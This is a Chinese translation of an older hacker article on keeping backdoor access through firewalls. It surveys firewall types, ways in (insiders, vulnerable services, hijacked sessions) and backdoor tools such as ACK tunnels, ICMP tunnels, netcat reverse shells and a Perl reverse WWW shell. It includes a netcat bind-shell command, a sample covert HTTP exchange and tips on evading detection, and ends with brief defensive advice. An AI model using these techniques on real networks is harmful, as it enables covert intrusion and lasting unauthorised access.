这篇文章描述了透过不同结构的防火墙放置后门。不管怎样,这篇文章也能告诉你在其它环境中,黑客是怎样掩饰他们进入一个系统的。
黑客总想保留进入他们已经攻破的系统的能力,即使目标主机更新了防火墙或修复了已知弱点。要实现这一点,攻击者必须要安装一个后门,而且它一定能工作并且不容易被发现。后门的种类要视目标主机的防火墙的类型而定。
作为一个机关和proof-of-concept,一个好的后门对于任何入侵方法都有效。
防火墙结构:
这里将提到两个基本的防火墙结构并且每一个都有一个增强版本。
包过滤:
这是基于主机或路由器的,它依照允许/拒绝的规则在包穿过正确的界面之前检查每一个包。有非常简单的一种它只能过滤源主机,目的主机和目的端口,还有一种也能决定基于界面,源端口,时间和简单的tcp/ip 标志。这可以是一个简单的路由器,(任何CISCO类型),或是一个打开防火墙功能的LINUX主机。
正式的过滤器(Stateful Filters):
这是包过滤的增强版本。它仍然依照规则对包进行同样的检查且只对允许的包进行路由,但它也记录诸如IP序列号这样的信息。应用协议允许欺骗诸如在内部网中为被指定在特定FTP会话的ftp-data通道而打开的端口。这些过滤器能(或多或少的)使UDP包(DNS,RPC)安全的通过防火墙。(这是因为UDP不是面向连接的协议。并且对RPC服务更是如此)这可以是一个大型的带IP包过滤的OpenBSD主机,一个CISCO PIX,堡垒主机,或者是著名的Checkpoint FW-1(一个防火墙程序)。
代理/电路级网关:
一个代理防火墙主机可以是任何没有路由功能的但有代理功能的服务器。代理服务器可用来代理WWW服务请求,一个发送邮件中继或就是一个SOCKD。
应用网关:
这是代理服务器的增强版本。就象一个代理服务器,一个起代理作用的程序被安装后,每个应用都将以被代理的方式通过防火墙。不管怎样,应用网关很实用并且检查每一个请求和应答,比如一个FTP会话可以单向传输数据但不能双向传输数据,并且下载后数据没有病毒,应答时没有缓冲区溢出发生等等。有人会说SQUID是一个应用网关,因为它做许多安全的检查且它让你过滤一切,但它并不是为在安全环境中的设备所编写的,它还有许多bug。对此,一个好的免费软件包是TIS防火墙工具包。
提供商在市场上卖的防火墙,许多都是复合型的,这意味这它们有比单一型多的功能;比如IBM防火墙是一个简单的带SOCKS的包过滤和一些代理功能的防火墙。 我不想说那一个防火墙是最好的,因为本文不是一篇如何购买防火墙的文章,但我要说,到目前为止应用网关是最安全的,尽管(因为)价钱,速度,附加协议,开放网络策略等原因,愚蠢的经销商,笨拙的管理部门可能不考虑它们。
进一步
在我们讨论后门是什么之前,我们将弄明白怎样在第一时间穿过防火墙。注意,穿过防火墙对于哪些“script-kiddies”(注:真正的HACKER对那些只会模仿的--水平低下的年青人的谑称)来说并不是很容易的事,这必须经过仔细而周密的计划。
有4种可能性:
内部的人:有一些人在公司的内部(你,男/女朋友,同居者)由他们安装后门,这是最简单的方法。
易受攻击的服务:
几乎所有的网络都提供各种各样的服务,象邮件发送服务,WWW,DNS,这些服务可能由防火墙主机本身提供,或在DZM的主机(这区域在防火墙前端,常常不受防火墙保护),内部主机提供。如果一个攻击者能在这些服务中找到漏洞,他已得到了进入系统的大好机会。你可能在笑,如果你看到有许多防火墙在运行邮件中继。
易受攻击的外部服务:
在防火墙后面的人有时工作在外部主机。如果一个攻击者能黑了这些外部主机,他能导致对系统的严重的损害,比如,如果目标主机通过X中继或sshd使用它(外部主机)将导致X攻击。攻击者也能发送伪装的FTP应答使FTP客户端程序的缓冲区产生溢出,在WEB服务器端替换一个GIF图象使netscape死机并且执行一个命令(我从没有检查过它是否真的工作,netscape是否死机,YEAH,但我不知道它是不是一个可利用的溢出)。
有许多可能性,但需要一些公司的信息。不管怎样,通常一个公司内部的WEB服务器是一个好的开端。一些防火墙被设置成可以允许从一些机器上用TELNET连接,因此任何人能嗅探并得到它。对于美国这是特别的事实,在那里大学院校和工业部门/军队共同工作。
截获连接:
许多公司认为他们如果在一些安全认证的基础上比如SecureID(安全?)允许TELNET进入,他们是安全的。
任何人能在认证结束后截获这些(安全认证)并进入。其它截获连接的方法是修改协议启用时的应答用来产生一个溢出(X)。
后门:
许多事情可以用一个特洛依木马。它可以是一个GZIP文件,它产生一个缓冲区溢出(需要一个老版本的GZIP才能安装),一个TAR文件窜改 ~/.LOGOUT 执行一些命令,或修改一个可执行的或源代码使攻击者以某种方式进入。 让某人运行这些,可使用邮件电子欺骗或在内部服务器上放置“originals”,外部职员访问内部服务器并有规律的更新他们的软件(可以检查FTP XFER 文件和WWW 日志以得知它们是哪个文件)。
放置后门
一个聪明的攻击者并不试着在防火墙网段内的机器上放置后门,因为系统通常监视并有规律的检查这些机器。恰恰是内部机器通常不受保护并且没有那么多的管理员和安全检查。
我现在将谈论一些可以被应用的后门的想法。注意程序(后门)将运行在一个标准的过滤器当然也和一个标准的包过滤同时工作,和代理主机一样。应用网关后门将在任何防火墙结构下都工作。它们中有些是“主动的”有些是“被动的”。主动后门是能被一个攻击者在任何他想利用时被使用的,“被动后门”在适当的时间/事件被触发,因此攻击者不得不等适当的时间或事件发生。
包过滤:
It's hard to find a backdoor which gets through this one but does not work for any other.
在我心中仅有:
A)ack-telnet。除了它不使用标准的TCP握手方式工作且仅使用TCP ACK包头外,它工作起来就象一个标准的telnet/telnetd。因为它们看上去象一个已经建立(且允许)的连接,这样就能很容易的编写Coder's Spoofit project 的spoofit.h 一个头文件用来写SPOOF的)。
B)Phrack杂志49/51期的Loki(译者注:P49-06;P51-06)也可用来建立一个有icmp echo/reply 包的通道。但需要一些编码(头文件?)才能实现。
C)“daemonshell-udp”是一个后门SHELL,它是UDP方式的。(见thc-uht1.tgz)
D)最后但不是不重要的,大多数“防火墙系统”只有一个屏蔽路由器/防火墙让任何进来的源端口从20到更高(>1023)的TCP连接穿过允许的(非被动的)FTP协议工作。
对此,"netcat -p 20 targetport-of-bindshell" 是最快的解决方法。
标准过滤器:
一个攻击者必须使用程序初始化从安全的网络到他自己的服务器的连接。这有许多方法可使用:
主动:
Phrack 52 期的“隧道”。
SSH -R(比隧道好...它是一个“legtimitate”(??)程序并且它加密数据流)。
被动:
编译netcat并带时间选项,执行它并连接攻击者的机器(ftp.avian.org) 。
thc-uht1.tgz中的reverse_shell 做同样的事情。
代理/电路级网关:
如果防火墙上可使用socks,某些人可以使用所有stateful filter上的东西并且“socksify”它们。想要更多高级的工具你可以看应用网关这段。
应用网关:
现在我们来说有趣的东西。
主动:
在公司的WEB服务器端放置一个CGI脚本,它允许远程访问。这并不是一定可能的,因为WEB服务器很少不被监视/检查/记帐并且允许外部访问。我想没人需要我举例子吧。穿过防火墙放置一个服务/二进制程序。这是很危险的因为它们被按时的记帐并且有时被嗅探。装入一个可装入的模块到防火墙内核中,它将隐藏自己并且给它的释放者访问权。非常好的的主动后门解决方法仍然很危险。
被动:
E@mail-用某种方式配置邮件帐户/邮件发送器/头部,使之能解开隐藏在邮件中的命令(X-Headers中的奇怪的东西),如果需要可以把它再发回来。
WWW-较难办的东西。内部机器上运行的守护进程响应来自internet上的HTTP请求,但是这请求实际上是一个讨厌的WWW服务器在一个HTTP响应中发出的命令的应答。
(有点儿别扭:but the requests are in real the anwers of commands which were issued by a rogue www server in a http reply. )
好东西见下面(->Backdoor Example: The Reverse WWW Shell)
DNS-和上面的思想一样,但是是DNS的查询和答复。不好的是它不能带太多的数据。
Backdoor Example: The Reverse WWW Shell
这个后门在任何防火墙后都工作, 它已经使得安全策略允许用户为了获取信息,公司的利益在WWW上冲浪。
要想理解的更好,看下面的图,并且在看到文字说明之前记住它。
+--------+ +------------+ +-------------+
|internal|--------------------| FIREWALL |--------------|server owned |
| host | internal network +------------+ internet |by the hacker|
+--------+ +-------------+
SLAVE MASTER
在一个内部网上运行一个进程,它在每天特定时候产生一个子进程。对于防火墙来说,子进程的动作就象一个用户,使用netscape在网上冲浪。实际上,这个子进程执行一个本地的SHELL,并且通过一个看上去合法的HTTP请求连接攻击者的WWW服务器并发送一个ready信号。而看上去合法的来自攻击者的WWW服务器应答实际上是子进程将在本地执行的命令。所有数据流都将被转换成类似Base64结构(我不叫它“加密”,我不是Micro$oft)并且为了防止缓冲,把它当作cgi-string的一个值。
连接实例:
Slave
GET /cgi-bin/order?M5mAejTgZdgYOdgIO0BqFfVYTgjFLdgxEdb1He7krj HTTP/1.0
Master replies with
g5mAlfbknz
内部主机(SLAVE) 的GET就是SHELL的命令的提示,应答是来自外部攻击者服务器(MASTER)的已加密的“ls”命令。
一些暗机关:
SLAVE在每天特定的时候试着连接MASTER;
产生子进程---因为若不管什么原因SHELL挂起了,你能在第二天检查并修复它;
如果一个管理员看到了通向攻击者的连接并且他自己连到攻击者的服务器上,他将看到一个“破WEB服务器”因为他在CGI请求中只能看到一些符号(Password);
支持WWW代理;
程序屏蔽它在进程列表中的名字。
首先,master和slave程序都是一个260行的perl文件...用这个东西: 修改rwwwshell.pl中的相应值,在SLAVE机上执行 "rwwwshell.pl slave" ,并且在SLAVE要连接之前在MASTER机上运行"rwwwshell.pl" 。
为什么用PERL编它?
A)快!
B)移植性好
C)我喜欢
如果你想在一台机器上运行,但它没有安装PERL,找一个类似的安装PERL的机器,从perl CPAN 文件中找A3编译器并把它编译成二进制文件。把它传到目标主机并且执行它。
安全
现在有一个有趣的问题:怎样让防火墙拒绝/检测到它。我很清楚你需要一个有严格策略的牢固的应用网关级防火墙。email放在集中的的email服务器上,DNS只响应WWW/FTP代理请求。但是,这还不够。一个攻击者能窜改邮件头并执行X-Headers中的已加密的命令或者使HTTP证明变成相反的WWW-SHELL(这很简单)。有规律地用有效的工具检查DNS WWW日志/缓冲也可能失败——每3~20调用后交换外部服务器或使用别名。
一个安全的解决方法是建立一个备用网络并连接到internet上,并且真正的网络与它保持分离--但是告诉职员。一个好的防火墙要改进许多,一个IDS(Intrusion Detection Systems )也可以给你帮助。但是没有什么能阻挡一个专注的攻击者。